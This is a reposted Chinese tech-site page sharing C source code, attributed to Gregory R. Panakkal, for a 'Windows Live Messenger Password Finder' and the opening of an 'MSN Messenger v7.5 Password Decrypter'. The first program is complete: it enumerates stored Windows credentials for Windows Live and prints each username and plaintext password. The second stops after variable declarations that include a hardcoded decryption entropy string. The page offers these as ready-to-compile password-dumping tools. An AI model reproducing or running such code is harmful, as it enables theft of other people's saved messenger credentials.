当前位置:七道奇文章资讯安全技术网络技术
日期:2010-03-05 17:30:00  来源:本站整理

MSN密码拦阻VC源码[网络技术]

赞助商链接



  本文“MSN密码拦阻VC源码[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

**
** Windows Live Messenger v8.0 Password Finder for Windows XP & 2003
** (Compiled-VC++ 6.0 SP6, tested on WinXP SP2, Windows Live Messenger
8.0.0812.00)
** - Gregory R. Panakkal
** http://www.crapware.tk/
** http://www.infogreg.com/
**/

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]

typedef struct _CREDENTIAL_ATTRIBUTEA {
LPSTR Keyword;
DWORD Flags;
DWORD ValueSize;
LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PCREDENTIAL_ATTRIBUTEA Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;


////////////////////////////////////////////////////////////////////

typedef BOOL (WINAPI *typeCredEnumerate)(LPCTSTR, DWORD, DWORD *,
PCREDENTIAL **);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerate pfCredEnumerate = NULL;
typeCredFree pfCredFree = NULL;

////////////////////////////////////////////////////////////////////

void showBanner()
{
_tprintf(_T("Windows Live Messenger Password Finder for Windows XP &
2003\n"));
_tprintf(_T(" - Gregory R. Panakkal, http://www.infogreg.com
\n\n"));
}

////////////////////////////////////////////////////////////////////
int main()
{
PCREDENTIAL *CredentialCollection = NULL;
HMODULE hAdvapi32DLL = NULL;
DWORD dwCount = 0;
DWORD dwTempIndex = 0;
BOOL bOK = FALSE;

showBanner();

do
{

hAdvapi32DLL = LoadLibrary(_T("advapi32.dll"));

if(NULL == hAdvapi32DLL)
{
_tprintf(_T("Error loading advapi32.dll\n"));
break;
}


#ifdef _UNICODE
pfCredEnumerate =
(typeCredEnumerate)GetProcAddress(hAdvapi32DLL,
"CredEnumerateW");
#else
pfCredEnumerate =
(typeCredEnumerate)GetProcAddress(hAdvapi32DLL,
"CredEnumerateA");
#endif

pfCredFree = (typeCredFree)GetProcAddress(hAdvapi32DLL,
"CredFree");


if( pfCredEnumerate == NULL||
pfCredFree == NULL )
{
_tprintf(_T("Error loading Cred APIs\n"));
break;
}

//Get an array of 'credential', satisfying the filter
bOK = pfCredEnumerate(
_T("WindowsLive:name=*"),
0,
&dwCount,
&CredentialCollection
);


if(FALSE == bOK)
{
_tprintf(_T("Error enumerating credentials\n"));
break;
}

for(dwTempIndex=0; dwTempIndex<dwCount; dwTempIndex++)
{

_tprintf(
_T("Username : %s\n"),
CredentialCollection[dwTempIndex]->UserName
);

_tprintf(
_T("Password : %s\n\n"),
CredentialCollection[dwTempIndex]->CredentialBlob
);
}

//Free credential collection
pfCredFree(CredentialCollection);


} while(false);


//Free lib
if(NULL != hAdvapi32DLL)
{
FreeLibrary(hAdvapi32DLL);
}

return TRUE;
}

/*
* MSN Messenger v7.5 Password Decrypter Source Code for Windows XP & 2003
* (Compiled - VC++ 2005, Tested on WinXP SP2, MSN Messenger v7.5.0324)
*      - Gregory R. Panakkal
*        http://www.infogreg.com/
*/

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <WinCred.h>
#include <tchar.h>

#pragma comment(lib, "Crypt32.lib")

void showBanner()
{
_tprintf(_T("MSN Messenger v7.5 Password Decrypter for Windows XP/2003\n"));
_tprintf(_T(" - Gregory R. Panakkal, http://www.infogreg.com \n\n"));
}

////////////////////////////////////////////////////////////////////
int main()
{
PCREDENTIAL* CredentialCollection = NULL;
DATA_BLOB blobCrypt;
DATA_BLOB blobPlainText;
DATA_BLOB blobEntropy;
DATA_BLOB blobDynEntropy;
HKEY hKeyDynSalt = NULL;
HKEY hKeyCreds = NULL;
HKEY hKeyUserCred = NULL;
DWORD dwRet = 0;
DWORD dwType = 0;
DWORD dwDataSize = 0;
DWORD dwTemp = 0;
PBYTE pDynamicSalt = NULL;
PBYTE pEncPassword = NULL;
TCHAR szMsgrUserName[MAX_PATH];
DWORD dwCount = 0;
REGSAM RegSAM = KEY_READ;
WCHAR szEntropy[] = L"%GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd";

[1] [2]  下一页


  以上是“MSN密码拦阻VC源码[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • MSN密码拦阻VC源码
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .